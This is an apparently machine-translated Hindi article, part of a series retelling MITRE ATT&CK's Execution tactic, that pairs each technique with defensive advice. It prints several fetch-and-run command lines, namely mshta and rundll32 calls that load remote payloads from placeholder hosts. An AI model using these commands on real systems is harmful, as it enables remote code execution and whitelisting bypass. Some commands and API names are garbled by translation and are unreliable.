निष्पादन (निष्पादन)

सभी भागों के लिंक:
भाग 1. प्रारंभिक पहुँच प्राप्त करना (प्रारंभिक पहुँच)
भाग 2. निष्पादन
भाग 3. बन्धन (दृढ़ता)
भाग 4. विशेषाधिकार वृद्धि
भाग 5. रक्षा चोरी
भाग 6. साख प्राप्त करना (क्रेडेंशियल एक्सेस)
भाग 7. खोज
भाग 8. पार्श्व आंदोलन
भाग 9. डेटा संग्रह (संग्रह)
भाग 10 बहिष्कार
भाग 11. कमान और नियंत्रण

"निष्पादन" चरण विभिन्न कमांड, स्क्रिप्ट और निष्पादन योग्य फ़ाइलों के अटैक सिस्टम में दूरस्थ और स्थानीय निष्पादन के साधनों और तरीकों के हमलावरों द्वारा उपयोग का वर्णन करता है जो इसे पिछले चरण में वितरित किए गए थे।

लेखक लेख में निर्धारित जानकारी को लागू करने के संभावित परिणामों के लिए जिम्मेदार नहीं है, और कुछ योगों और शर्तों में किए गए संभावित अशुद्धि के लिए भी माफी माँगता है। प्रकाशित जानकारी MITER ATT & CK की सामग्री का मुफ़्त रीटेलिंग है ।

AppleScript

प्रणाली: macOS
अधिकार: उपयोगकर्ता
विवरण: AppleScript भाषा में ऐप्पल इवेंट के साथ काम करने की क्षमता है - इंटरप्रोसेस संचार (IPC) के हिस्से के रूप में अनुप्रयोगों के बीच आदान-प्रदान किए गए संदेश। Apple ईवेंट का उपयोग करके, आप लगभग किसी भी एप्लिकेशन के साथ बातचीत कर सकते हैं जो स्थानीय रूप से या दूरस्थ रूप से खुला है, घटनाओं को ट्रिगर करें जैसे कि खिड़कियां खोलना और चाबियाँ दबाएं। लिपियों को कमांड का उपयोग करके चलाया जाता है: ओसस्क्रिप्ट -ई <स्क्रिप्ट> ।
हमलावर AppleScript का उपयोग दूरस्थ मेजबान के लिए खुले तौर पर SSH कनेक्शन का उपयोग करने के लिए कर सकते हैं, जिससे उपयोगकर्ता नकली संवाद कर सकते हैं। AppleScript का उपयोग अधिक सामान्य प्रकार के हमलों में भी किया जा सकता है, जैसे रिवर्स शेल संगठन।

सुरक्षा सिफारिशें: विश्वसनीय डेवलपर के हस्ताक्षर के लिए AppleScript स्क्रिप्ट चलाने का अनिवार्य सत्यापन।

CMSTP (AppLocker ByPass - CMSTP)

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता
विवरण: Microsoft कनेक्शन प्रबंधक प्रोफ़ाइल इंस्टॉलर (cmstp.exe) विंडोज में निर्मित " कनेक्शन प्रबंधक प्रोफ़ाइल इंस्टॉलर " उपयोगिता है। Cmstp.exe एक पैरामीटर के रूप में एक inf-file ले सकता है, इसलिए एक हमलावर AppLocker और अन्य तालों को दरकिनार करके दूरस्थ सर्वर से DLL या स्क्रिप्टलेट्स (* .sct) को डाउनलोड करने और निष्पादित करने के लिए एक विशेष दुर्भावनापूर्ण INF तैयार कर सकता है, क्योंकि cmstp.exe एक Microsoft डिजिटल प्रमाणपत्र के साथ हस्ताक्षरित है।

सुरक्षा सिफारिशें: संभावित खतरनाक अनुप्रयोगों के प्रक्षेपण को अवरुद्ध करना। मॉनिटरिंग स्टार्टअप C: \ Windows \ System32 \ cmstp.exe ।

कमांड-लाइन इंटरफ़ेस

सिस्टम: विंडोज, लिनक्स, मैकओएस
अधिकार: उपयोगकर्ता, प्रशासक, प्रणाली
विवरण: आप स्थानीय रूप से कमांड लाइन इंटरफ़ेस के साथ बातचीत कर सकते हैं, रिमोट एक्सेस सॉफ़्टवेयर के माध्यम से दूरस्थ रूप से, रिवर्स शेल आदि का उपयोग करके। कमांड लाइन इंटरफ़ेस प्रक्रिया के वर्तमान अनुमति स्तर के साथ कमांड निष्पादित किए जाते हैं, यदि कमांड में उस प्रक्रिया को कॉल शामिल नहीं है जो कमांड को निष्पादित करने के लिए अनुमतियों को बदलता है (उदाहरण के लिए, एक अनुसूचित कार्य)।

सुरक्षा अनुशंसाएँ: AppLocker या सॉफ़्टवेयर प्रतिबंध नीतियों जैसे टूल का उपयोग करके कमांड लाइन को ऑडिट और / या लॉक करें।

नियंत्रण कक्ष आइटम

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता, प्रशासक, प्रणाली
विवरण: युक्ति को पेलोड के रूप में मनमाने आदेशों को निष्पादित करने के लिए हमलावरों द्वारा विंडोज कंट्रोल पैनल के तत्वों का उपयोग करना है (उदाहरण के लिए, रिएवर वायरस)। दुर्भावनापूर्ण वस्तुओं को मानक नियंत्रण के रूप में प्रच्छन्न किया जा सकता है और फ़िशिंग अनुलग्नकों का उपयोग करके सिस्टम को वितरित किया जा सकता है। विंडोज सेटिंग्स को देखने और कॉन्फ़िगर करने के लिए उपयोगिताएँ एक्स-फाइल और विंडोज कंट्रोल पैनल तत्वों के सीपीएल-फाइल पंजीकृत हैं। CPL फाइलें वास्तव में नाम से हटाए गए DLL हैं जिन्हें निम्नलिखित तरीकों से चलाया जा सकता है:

• सीधे कमांड लाइन से: control.exe <file.cpl> ;
• shell32.dll से API फ़ंक्शन का उपयोग करना: rundll32.exe shell32.dll, Control_RunDLL <file.cpl> ;
• cpl फ़ाइल पर डबल क्लिक करें।

System32 में संग्रहीत पंजीकृत CPL स्वचालित रूप से विंडोज कंट्रोल पैनल में प्रदर्शित होते हैं और रजिस्ट्री में एक विशिष्ट पहचानकर्ता संग्रहीत होते हैं:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ ControlPanel \ NameSpace

अन्य CPL के बारे में जानकारी, उदाहरण के लिए, cpl फ़ाइल का प्रदर्शन नाम और पथ, Cpls और अनुभाग के विस्तारित गुण खंड में संग्रहीत हैं:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Control पैनल

शेल के माध्यम से लॉन्च किए गए कुछ सीपीएल खंड में पंजीकृत हैं:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Controls फ़ोल्डर \ {name} \ shellex \ PropertySheetHandlers

सुरक्षा अनुशंसा: केवल सुरक्षित फ़ोल्डरों में (उदाहरण के लिए, C: \ Windows \ System32 ) नियंत्रण कक्ष आइटम फ़ाइलों के लॉन्च और भंडारण को प्रतिबंधित करें, सिस्टम में अनधिकृत परिवर्तनों को रोकने के लिए उपयोगकर्ता खाता नियंत्रण (UAC) और AppLocker को सक्षम करें। बेशक, एंटीवायरस सॉफ़्टवेयर का उपयोग।

डायनेमिक डेटा एक्सचेंज प्रोटोकॉल (DDE), MSWord में मैक्रो-कम कोड परीक्षा

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता
विवरण: DDE अनुप्रयोगों को साझा करने के लिए एक प्रोटोकॉल है जो संदेश साझा करने के लिए डेटा और साझा की गई मेमोरी को साझा करता है। उदाहरण के लिए, किसी Word दस्तावेज़ में एक तालिका हो सकती है जो किसी Excel दस्तावेज़ से स्वचालित रूप से अपडेट की जाती है। MS Office में DDE प्रोटोकॉल के उपयोग से संबंधित MS Office अनुप्रयोगों में भेद्यता का दोहन करने के लिए तकनीक शामिल है। हमलावर MS Office दस्तावेज़ों में ऑब्जेक्ट्स को एम्बेड कर सकते हैं जिनमें कमांड्स को तब खोला जाता है जब दस्तावेज़ खोला जाता है। उदाहरण के लिए, एक वर्ड डॉक्यूमेंट में एक फ़ील्ड ऑब्जेक्ट हो सकता है जिसका मान कमांड {DDEAUTO <कमांड को इंगित करता है , उदाहरण के लिए, c: \ windows \ system32 \ cmd.exe>} , जो कि दस्तावेज़ को खोलने पर निष्पादित किया जाएगा। प्रासंगिकता के नुकसान के बावजूद, कुंजी का उपयोग करके विंडोज 10 और एमएस ऑफिस 2016 सहित, DDE को सक्षम किया जा सकता है:
AllowDDE (DWORD) = 2 रजिस्ट्री कुंजी में:
HKEY_CURRENT_USER \ Software \ Microsoft \ Office \ <ऑफिस का संस्करण> \ Word \ Security ।

सुरक्षा अनुशंसाएँ : Microsoft अनुशंसाओं का पालन करें और उपयुक्त MS Office अद्यतन स्थापित करें । विंडोज 10 में, आप एमएस ऑफिस अनुप्रयोगों द्वारा डीडीई हमलों और बाल प्रक्रियाओं से खुद को बचाने के लिए अटैक सर्फेस रिडक्शन (एएसआर) पैरामीटर को भी सक्षम कर सकते हैं।

एपीआई के माध्यम से निष्पादन

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता, प्रशासक, प्रणाली
विवरण: हमलावर बाइनरी फ़ाइलों को निष्पादित करने के लिए एपीआई का उपयोग कर सकते हैं। CreateProcess जैसे API फ़ंक्शंस प्रोग्राम और स्क्रिप्ट को आवश्यक पथ और तर्क निर्दिष्ट करके प्रक्रिया शुरू करने की अनुमति देते हैं। API फ़ंक्शंस जिनका उपयोग बाइनरी फ़ाइलों को निष्पादित करने के लिए किया जा सकता है:

• CreateProcessA (), CreateProcessW ();
• CreateProcessAsUserA (), CreateProcessAsUserW ();
• CreateProcessInternalA (), CreateProcessInternalW ();
• CreateProcessWithLogonW (), CreateProcessWithTokenW ();
• LoadLibraryA (), LoadLibraryW ();
• LoadLibraryExA (), LoadLibraryExW ();
• लोडमॉडुले ();
• LoadPackagedLibrary ();
• WinExec ();
• ShellExecuteA (), ShellExecuteW ();
• ShellExecuteExA (), ShellExecuteExW ()।

सुरक्षा सिफारिशें: एपीआई फ़ंक्शन कॉल एक सामान्य घटना है जो दुर्भावनापूर्ण गतिविधि से अलग करना मुश्किल है। प्रोटेक्शन वेक्टर को हमलावर श्रृंखला के प्रारंभ में हमलावर के उपकरण के प्रक्षेपण को रोकने, दुर्भावनापूर्ण व्यवहार का पता लगाने और संभावित खतरनाक सॉफ़्टवेयर को अवरुद्ध करने के लिए निर्देशित किया जाना चाहिए।

मॉड्यूल लोड के माध्यम से निष्पादन

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता
विवरण: विंडोज मॉड्यूल लोडर - NTDLL.dll का उपयोग करके कोड निष्पादन को व्यवस्थित करना संभव है, जो एक स्थानीय या नेटवर्क पथ पर DLL लाइब्रेरी को लोड कर सकता है। NTDLL.dll Windows API का हिस्सा है और इसे CreateProcess () और LoadLibrary () जैसे फ़ंक्शन कह सकते हैं।

सुरक्षा सिफारिशें: एपीआई फ़ंक्शन कॉल नियमित ओएस कार्यक्षमता हैं जो दुर्भावनापूर्ण गतिविधि से अलग करना मुश्किल है। सुरक्षा वेक्टर को हमलावर श्रृंखला के आरंभ में हमलावर के उपकरण के प्रक्षेपण को रोकने के लिए निर्देशित किया जाना चाहिए। यह % SystemRoot% और % ProgramFiles% निर्देशिकाओं के लिए DLL के लोडिंग को सीमित करने पर विचार करने के लिए समझ में आता है।

ग्राहक निष्पादन के लिए शोषण

सिस्टम: विंडोज, लिनक्स, मैकओएस
अधिकार: उपयोगकर्ता
विवरण: तकनीक में उपयोगकर्ता सॉफ़्टवेयर में शोषण का उपयोग करके दूरस्थ कोड निष्पादन शामिल है। सॉफ्टवेयर में कमजोरियों की उपस्थिति अक्सर सुरक्षित प्रोग्रामिंग की आवश्यकताओं के सॉफ्टवेयर डेवलपर्स द्वारा उल्लंघन से जुड़ी होती है, जो अंततः सॉफ्टवेयर के अप्रत्याशित व्यवहार के कारण की संभावना को जन्म देती है।
कुछ प्रकार के कारनामों पर विचार करें:

• ब्राउज़र शोषण करता है। वेब ब्राउजर लक्ष्य होते हैं जब हमलावर शैडो लोडिंग और फ़िशिंग लिंक का उपयोग करते हैं। फिशिंग ईमेल में निर्दिष्ट लिंक का अनुसरण करते हुए, उपयोगकर्ता द्वारा कुछ क्रियाओं को करने के बाद अटैक सिस्टम को एक सामान्य ब्राउज़र के माध्यम से समझौता किया जा सकता है।
• कार्यालय आवेदन शोषण करता है। दुर्भावनापूर्ण फ़ाइलों को अनुलग्नक या डाउनलोड लिंक के रूप में प्रेषित किया जाता है। भेद्यता का फायदा उठाने के लिए, उपयोगकर्ता को शोषण शुरू करने के लिए एक दस्तावेज़ या फ़ाइल खोलनी होगी।
• थर्ड-पार्टी एप्लिकेशन शोषण करता है। आमतौर पर कॉर्पोरेट वातावरण में उपयोग किए जाने वाले एडोब रीडर और फ्लैश जैसे सामान्य एप्लिकेशन साइबर अपराधियों द्वारा लक्षित होते हैं। सॉफ़्टवेयर और भेद्यता की प्रकृति के आधार पर, ब्राउज़र में भेद्यता का शोषण किया जाता है या जब कोई उपयोगकर्ता किसी फ़ाइल को खोलता है, उदाहरण के लिए, एमएस ऑफ़िस दस्तावेज़ों में फ्लैश ऑब्जेक्ट डिलीवर किए जा सकते हैं।

सुरक्षा सिफारिशें: उपयोग किए गए अनुप्रयोगों के लिए अपडेट की समय पर स्थापना। संभावित रूप से कमजोर अनुप्रयोगों के अलगाव के विभिन्न साधनों का उपयोग - सैंडबॉक्स, माइक्रोसेप्शन और वर्चुअलाइजेशन टूल, उदाहरण के लिए, विंडोज और अप्पर्मर के लिए सैंडबॉक्स , लिनक्स के लिए डॉकर। Windows 10 के लिए Windows डिफेंडर Exploit Guard (WDEG) या Windows के पिछले संस्करणों के लिए एन्हांस्ड मिटिगेशन एक्सपीरिएंस टूलकिट (EMET) जैसे शोषण सुरक्षा प्रणालियों की भी सिफारिश की गई है।

ग्राफिकल यूजर इंटरफेस

सिस्टम: विंडोज, लिनक्स, मैकओएस
अधिकार: उपयोगकर्ता, व्यवस्थापक, प्रणाली
विवरण: एक निष्पादन योग्य फ़ाइल या स्क्रिप्ट को किसी इंटरेक्टिव या दूरस्थ सत्र में ग्राफ़िकल यूज़र इंटरफ़ेस (GUI) के माध्यम से फ़ाइल के साथ सहभागिता करते समय लॉन्च किया जाता है, उदाहरण के लिए, RDP प्रोटोकॉल के माध्यम से।

सुरक्षा युक्तियाँ : उन क्रेडेंशियल्स को सुरक्षित रखें जिनका उपयोग सिस्टम से दूर से कनेक्ट करने के लिए किया जा सकता है। अनावश्यक सिस्टम उपयोगिताओं, तृतीय-पक्ष सॉफ़्टवेयर की पहचान करें जिनका उपयोग इंटरैक्टिव रिमोट मोड में प्रवेश करने के लिए किया जा सकता है।

InstallUtil

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता
विवरण: InstallUtil एक विंडोज कमांड-लाइन उपयोगिता है जो .NET फ्रेमवर्क विनिर्देशों के अनुरूप अनुप्रयोगों को स्थापित और अनइंस्टॉल कर सकता है। Installutil स्वचालित रूप से VisualStudio के साथ स्थापित किया गया है। InstallUtil.exe फ़ाइल Microsoft प्रमाणपत्र द्वारा हस्ताक्षरित है और इसमें संग्रहीत है:
C: \ Windows \ Microsoft.NET \ Framework \ v [संस्करण] \ InstallUtil.exe
हमलावर InstallUtil कार्यक्षमता का उपयोग प्रॉक्सी कोड निष्पादन और अनुप्रयोग श्वेतसूची को बायपास करने के लिए कर सकते हैं।

सुरक्षा सिफारिशें: यह संभव है कि आपके सिस्टम पर इंस्टाल यूटील का प्रयोग न किया जाए, इसलिए इंस्टालयूटिल की स्थापना को रोकें।

LSASS ड्राइवर (LSASS ड्राइवर)

सिस्टम: विंडोज
अधिकार: प्रशासक, प्रणाली
विवरण: स्थानीय सुरक्षा प्राधिकरण (LSA) एक विंडोज सबसिस्टम है जो उपयोगकर्ता प्रमाणीकरण प्रदान करता है। LSA में कई डायनेमिक इंटरकनेक्टेड DLL शामिल हैं जो LSASS.exe प्रक्रिया में चलते हैं। हमलावर LSASS.exe पर अवैध एलएसए ड्राइवरों को बदलकर या जोड़कर और फिर मनमाने कोड को निष्पादित करके हमला कर सकते हैं। तकनीक को Pasam और Wingbird मालवेयर में लागू किया गया है, जो LSASS को लोड करने के लिए संशोधित DLL का उपयोग करता है। इस मामले में, दुर्भावनापूर्ण कोड को निष्पादित किया जाता है इससे पहले कि अवैध DLL दुर्घटना का कारण बने और बाद में LSASS सेवा दुर्घटना हो।

सुरक्षा अनुशंसाएँ: Windows 8.1 और Windows Server 2012 R2 में, रजिस्ट्री कुंजी सेट करके LSA सुरक्षा सक्षम करें:
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Lsa \ RunAsPPL
to dword मान : 00000001

यह सुरक्षा सुनिश्चित करती है कि एलएसए-लोडेड प्लगइन्स और ड्राइवर डिजिटल रूप से Microsoft द्वारा हस्ताक्षरित हैं। विंडोज 10 और सर्वर 2016 में, विंडोज डिफेंडर क्रेडेंशियल गार्ड को एक पृथक आभासी वातावरण में lsass.exe चलाने के लिए सक्षम करें। दुर्भावनापूर्ण पुस्तकालयों को lsass.exe में लोड करने के जोखिम को कम करने के लिए सुरक्षित DLL खोज मोड चालू करें:
HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \ Control \ Session Manager \ SafeDllSearchMode ।

Launchctl

प्रणाली: macOS
अधिकार: उपयोगकर्ता, प्रशासक
विवरण: Launchctl - लॉन्च सेवा के प्रबंधन के लिए एक उपयोगिता। Launchctl का उपयोग करके, आप सिस्टम और उपयोगकर्ता सेवाओं (LaunchDeamons और LaunchAgents) का प्रबंधन कर सकते हैं, साथ ही कमांड और प्रोग्राम निष्पादित कर सकते हैं। Launchctl कमांड लाइन उपकमांड का समर्थन करता है, मानक इनपुट से इंटरैक्टिव या पुनर्निर्देशित:
launchctl submit -l [labelname] - / path / to / thing / to / execute '' arg "'arg"' 'arg " ।
सेवाओं और डेमों को शुरू करने और फिर से शुरू करने से, हमलावर कोड निष्पादित कर सकते हैं और यहां तक ​​कि श्वेतसूची को भी बायपास कर सकते हैं यदि लॉंचल एक अधिकृत प्रक्रिया है, हालांकि सेवाओं और डेमों को लोड करने, उतारने और फिर से शुरू करने के लिए उन्नत विशेषाधिकार की आवश्यकता हो सकती है।

सुरक्षा सिफारिशें: लॉन्च एजेंट बनाने के लिए उपयोगकर्ता अधिकारों को सीमित करना और समूह नीति का उपयोग करके लॉन्च डीमन लॉन्च करना। नॉककॉक ऐप का उपयोग करके, आप लॉन्च एजेंटों और लॉन्च डेमोंस को प्रबंधित करने के लिए लॉन्चक्टल का उपयोग करने वाले कार्यक्रमों की खोज कर सकते हैं।

स्थानीय नौकरी निर्धारण के साथ प्रदर्शन करना

सिस्टम: लिनक्स, macOS
अधिकार: उपयोगकर्ता, प्रशासक, रूट
विवरण: हमलावर सिस्टम के अनधिकृत लॉन्च के लिए अटैक सिस्टम में कार्य बना सकते हैं जब सिस्टम बूट करता है या शेड्यूल के अनुसार। लिनक्स और ऐप्पल सिस्टम आवधिक पृष्ठभूमि कार्यों के लॉन्च को शेड्यूल करने के लिए कई तरीकों का समर्थन करते हैं: क्रोन, एट, लॉन्चड। विंडोज टास्क शेड्यूलर के विपरीत, एसएसएच जैसे दूरस्थ सत्रों को छोड़कर, लिनक्स सिस्टम पर कार्य शेड्यूलिंग को दूरस्थ रूप से नहीं किया जा सकता है।

सुरक्षा सिफारिशें: अनुसूचित कार्यों को बनाने के लिए उपयोगकर्ता अधिकारों को सीमित करना, सिस्टम उपयोगिताओं को अवरुद्ध करना और अन्य सॉफ़्टवेयर जिन्हें कार्यों को शेड्यूल करने के लिए उपयोग किया जा सकता है।

mshta

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता
विवरण: Mshta.exe ( C: \ Windows \ System32 \ में स्थित ) एक उपयोगिता है जो Microsoft HTML अनुप्रयोगों (* .HTA) को चलाता है। HTA अनुप्रयोग उन्हीं तकनीकों का उपयोग करके चलते हैं जो InternetExplorer उपयोग करता है, लेकिन ब्राउज़र के बाहर। इस तथ्य के कारण कि Mshta ब्राउज़र सुरक्षा सेटिंग्स को दरकिनार करते हुए फ़ाइलें संसाधित करता है, हमलावर दुर्भावनापूर्ण HTA फ़ाइलों, जावास्क्रिप्ट या VBScript के निष्पादन को प्रॉक्सी करने के लिए mshta.exe का उपयोग कर सकते हैं। दुर्भावनापूर्ण फ़ाइल अंतर्निहित स्क्रिप्ट के माध्यम से लॉन्च की जा सकती है:
mshta vbscript: बंद (निष्पादित करें ("GetObject (" स्क्रिप्ट: https [:] // वेबसर्वर / पेलोड [।] sct "") "))।

या सीधे, URL पर:
mshta http [:] // वेबसर्वर / पेलोड [।] hta

सुरक्षा सिफारिशें: mshta.exe की कार्यक्षमता IE के पुराने संस्करणों से संबंधित है जो उनके जीवन चक्र के अंत तक पहुंच चुके हैं। Mshta.exe को ब्लॉक करें यदि आप इसकी कार्यक्षमता का उपयोग नहीं कर रहे हैं।

PowerShell

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता, प्रशासक
विवरण: PowerShell (PS) एक शक्तिशाली इंटरैक्टिव कमांड-लाइन इंटरफ़ेस और स्क्रिप्टिंग वातावरण है जो विंडोज के साथ शामिल है। हमलावर जानकारी एकत्र करने और कोड निष्पादित करने के लिए PS का उपयोग कर सकते हैं। उदाहरण के लिए, स्टार्ट-प्रोसेस cmdlet एक निष्पादन योग्य फ़ाइल चला सकता है; इनवोक-कमांड cmdlet स्थानीय रूप से या दूरस्थ कंप्यूटर पर कमांड निष्पादित करेगा। PS का उपयोग इंटरनेट से निष्पादन योग्य फ़ाइलों को डाउनलोड करने और उन्हें चलाने के लिए भी किया जा सकता है, उन्हें आपकी हार्ड ड्राइव पर सहेजे बिना। पीएस का उपयोग कर दूरस्थ कनेक्शन के लिए, आपको व्यवस्थापक अधिकारों की आवश्यकता है। PS पर हमला करने के लिए कई उपकरण हैं:

• साम्राज्य
• PowerSploit
• PSAttack

संरक्षण की सिफारिशें: यदि आवश्यक नहीं है, तो सिस्टम से PS को हटाया जा सकता है। यदि PS की आवश्यकता है, तो प्रशासक केवल हस्ताक्षरित स्क्रिप्ट चलाकर इसे चलाने के लिए सीमित होना चाहिए। PS स्क्रिप्ट के दूरस्थ निष्पादन को रोकने के लिए WinRM सेवा को अक्षम करें। यह ध्यान दिया जाना चाहिए कि पीएस स्क्रिप्ट निष्पादन नीतियों को बायपास करने के तरीके हैं ।

Regsvcs / रेगस्म

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता, प्रशासक
विवरण: Regsvcs और Regasm .NET उपयोगिता वस्तु मॉडल (COM) विधानसभा प्रणाली के साथ रजिस्टर करने के लिए उपयोग की जाने वाली विंडोज उपयोगिता उपयोगिताएं हैं। दोनों फाइलें डिजिटल रूप से Microsoft द्वारा हस्ताक्षरित हैं। हमलावर Regsvcs और Regasm का उपयोग प्रॉक्सी कोड निष्पादन के लिए कर सकते हैं जब विशेषता वह कोड होता है जो पंजीकरण या अपंजीकृत करने से पहले चलाया जाना चाहिए: [ComRegisterFunction] या [ComUnregisterFunction]। इस तरह की विशेषताओं के साथ कोड को लॉन्च किया जा सकता है, भले ही प्रक्रिया अपर्याप्त विशेषाधिकार के साथ चलती हो या यहां तक ​​कि स्टार्टअप पर क्रैश हो।

सुरक्षा अनुशंसाएँ: यदि आपके सिस्टम या नेटवर्क पर उनका उपयोग नहीं किया गया है तो Regsvcs.exe और Regasm.exe को ब्लॉक करें।

Regsvr32 (स्क्वॉलडू)

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता, प्रशासक
विवरण: Regsvr32.exe रजिस्ट्री में ActiveX और DLLs जैसे OLE नियंत्रणों को पंजीकृत और अपंजीकृत करने के लिए एक सांत्वना उपयोगिता है। Regsvr32.exe Microsoft द्वारा डिजिटल रूप से हस्ताक्षरित है और इसका उपयोग प्रॉक्सी कोड निष्पादन के लिए किया जा सकता है। उदाहरण के लिए, Regsvr32 का उपयोग करके, आप एक जावा फ़ाइल डाउनलोड कर सकते हैं जिसमें जावा कोड (स्क्रिप्टलेट) के टुकड़े होंगे जो सफेद सूची को बायपास कर देगा।

सुरक्षा सिफारिशें: EMET में अटैक सर्फेस रिडक्शन (ASR) और विंडोज डिफेंडर में एडवांस्ड थ्रेट प्रोटेक्शन व्हाइट लिस्ट को बायपास करने के लिए Regsvr32.exe के इस्तेमाल को रोक सकते हैं।

रुन्डल 32 (पॉवेलिक)

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता
विवरण: Rundll32.exe गतिशील रूप से जुड़े पुस्तकालयों में स्थित कार्यक्रमों को लॉन्च करने के लिए एक सिस्टम उपयोगिता है, इसे द्विआधारी फ़ाइल को प्रॉक्सी करने के लिए कहा जा सकता है, अनिर्दिष्ट शेल 32.dll फ़ंक्शंस के माध्यम से विंडोज नियंत्रण फ़ाइलों (.cpl) को निष्पादित करें - Control.unundll और control_RunDLAsUser । .Cpl फ़ाइल पर डबल-क्लिक करने से भी Rundll32.exe निष्पादित होता है। Rundll32 का उपयोग जावास्क्रिप्ट जैसे स्क्रिप्ट को निष्पादित करने के लिए भी किया जा सकता है:
rundll32.exe जावास्क्रिप्ट: "\ .. \ mshtml, RunHTMLApplication"; document.ite (); GetObject ("स्क्रिर्ट: https [:] // www [।] उदाहरण [] कॉम / दुर्भावनापूर्ण") "।
Rundll32.exe का उपयोग करने की उपरोक्त विधि को एंटीवायरस सॉफ्टवेयर द्वारा पॉवेलिक्स जैसे वायरस का पता लगाया जाता है।
सुरक्षा सिफारिशें: EMET में अटैक सर्फेस रिडक्शन (ASR) और विंडोज डिफेंडर में उन्नत थ्रेट प्रोटेक्शन, व्हाइटलाइनिंग को बायपास करने के लिए Rundll32.exe के उपयोग को रोक सकते हैं।

विंडोज शेड्यूल किए गए कार्य के माध्यम से चल रहा है

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता, प्रशासक, प्रणाली
विवरण: यूटिलिटीज जैसे कि, स्कैटस्क और विंडोज टास्क शेड्यूलर का उपयोग प्रोग्राम और स्क्रिप्ट को एक विशेष तिथि और समय पर चलाने के लिए शेड्यूल करने के लिए किया जा सकता है। किसी कार्य को दूरस्थ सिस्टम पर शेड्यूल किया जा सकता है, बशर्ते कि आरपीसी प्रमाणीकरण के लिए उपयोग किया जाता है और प्रिंटर और फ़ाइल साझाकरण सक्षम है। इसके अलावा, दूरस्थ प्रणाली पर कार्यों को शेड्यूल करने के लिए व्यवस्थापक अधिकारों की आवश्यकता होती है। हमलावर सिस्टम स्टार्टअप या किसी विशिष्ट खाते के संदर्भ में कार्यक्रमों को निष्पादित करने के लिए दूरस्थ कार्य शेड्यूलिंग का उपयोग कर सकते हैं।

सुरक्षा सिफारिशें: रजिस्ट्री में सिस्टम की ओर से उपयोगकर्ताओं के लिए कार्य बनाने के लिए अधिकारों के प्रतिबंध को चालू करें:
HKLM \ SYSTEM \ CurrentControlSet \ Control \ Lsa \ SubmitControl = 0
नोट:SubmitControl = 1, सर्वर ऑपरेटर्स समूह के सदस्यों को नौकरियां बनाने की अनुमति देता है।

इसके अलावा, उपयुक्त GPO कॉन्फ़िगर करें:
कंप्यूटर कॉन्फ़िगरेशन> [नीतियाँ]> Windows सेटिंग्स> सुरक्षा सेटिंग्स> स्थानीय नीतियाँ> सुरक्षा विकल्प: डोमेन नियंत्रक: सर्वर ऑपरेटरों को कार्यों को शेड्यूल करने की अनुमति दें: अक्षम
कंप्यूटर कॉन्फ़िगरेशन> [नीतियाँ]> Windows सेटिंग्स> सुरक्षा सेटिंग्स> स्थानीय नीतियां> उपयोगकर्ता अधिकार असाइनमेंट: शेड्यूलिंग प्राथमिकता बढ़ाएं
अपनी गतिविधि में, शेड्यूल किए गए कार्यों के समाधान में कमजोरियों को खोजने के लिए पॉवरअप मॉड्यूल का उपयोग करने वाले पावरस्प्लिट फ्रेमवर्क का उपयोग करने पर विचार करें।

स्क्रिप्टिंग (पटकथा)

सिस्टम: विंडोज, लिनक्स, मैकओएस
अधिकार: उपयोगकर्ता
विवरण: हमलावर अपने कार्यों को स्वचालित करने के लिए स्क्रिप्ट का उपयोग कर सकते हैं, परिचालन कार्यों को गति दे सकते हैं और परिणामस्वरूप, पहुंच प्राप्त करने के लिए आवश्यक समय कम कर सकते हैं। कुछ स्क्रिप्टिंग भाषाओं का उपयोग अन्य कार्यक्रमों को कॉल करने के बजाय एपीआई स्तर पर ओएस के साथ सीधे बातचीत करके प्रक्रियाओं की निगरानी के लिए तंत्र को बायपास करने के लिए किया जा सकता है। लिपियों को कार्यालय दस्तावेजों में मैक्रोज़ के रूप में एम्बेड किया जा सकता है और फिर फ़िशिंग हमलों के लिए उपयोग किया जा सकता है। इस स्थिति में, हमलावर उपयोगकर्ता से मैक्रो फ़ाइल को चलाने की अपेक्षा करते हैं या उपयोगकर्ता मैक्रो को सक्रिय करने के लिए सहमत होता है। पटकथा को लागू करने के लिए कई लोकप्रिय ढांचे हैं - मेटास्प्लोइट, घूंघट, पावरस्प्लोइट।

सिक्योरिटी टिप्स: वीबीएसस्क्रिप्ट या पावरशेल जैसी स्क्रिप्ट तक पहुंच सीमित करें। विंडोज पर, जीपीओ के माध्यम से सुरक्षित देखने और मैक्रो निषेध को सक्षम करके एमएस ऑफिस सुरक्षा सेटिंग्स को कॉन्फ़िगर करें। यदि मैक्रोज़ की आवश्यकता होती है, तो केवल भरोसेमंद रूप से हस्ताक्षरित मैक्रोज़ को चलाने की अनुमति दें। उदाहरण के लिए, माइक्रो-सेगमेंटेशन और एप्लिकेशन वर्चुअलाइजेशन का उपयोग करें, विंडोज के लिए सैंडबॉक्स और लिनक्स के लिए एपर्मर, डॉकर।

आरंभिक सेवाएं (सेवा निष्पादन)

सिस्टम: विंडोज
राइट्स: एडमिनिस्ट्रेटर, सिस्टम
विवरण: हमलावर बाइनरी कोड, कमांड या स्क्रिप्ट को विंडोज सेवाओं के साथ बातचीत करने के विशेष तरीकों का उपयोग करके निष्पादित कर सकते हैं, उदाहरण के लिए, सेवा नियंत्रण प्रबंधक (एससीएम) का उपयोग करके , आप नई सेवाएं बना सकते हैं और जो चल रहे हैं उन्हें संशोधित कर सकते हैं।

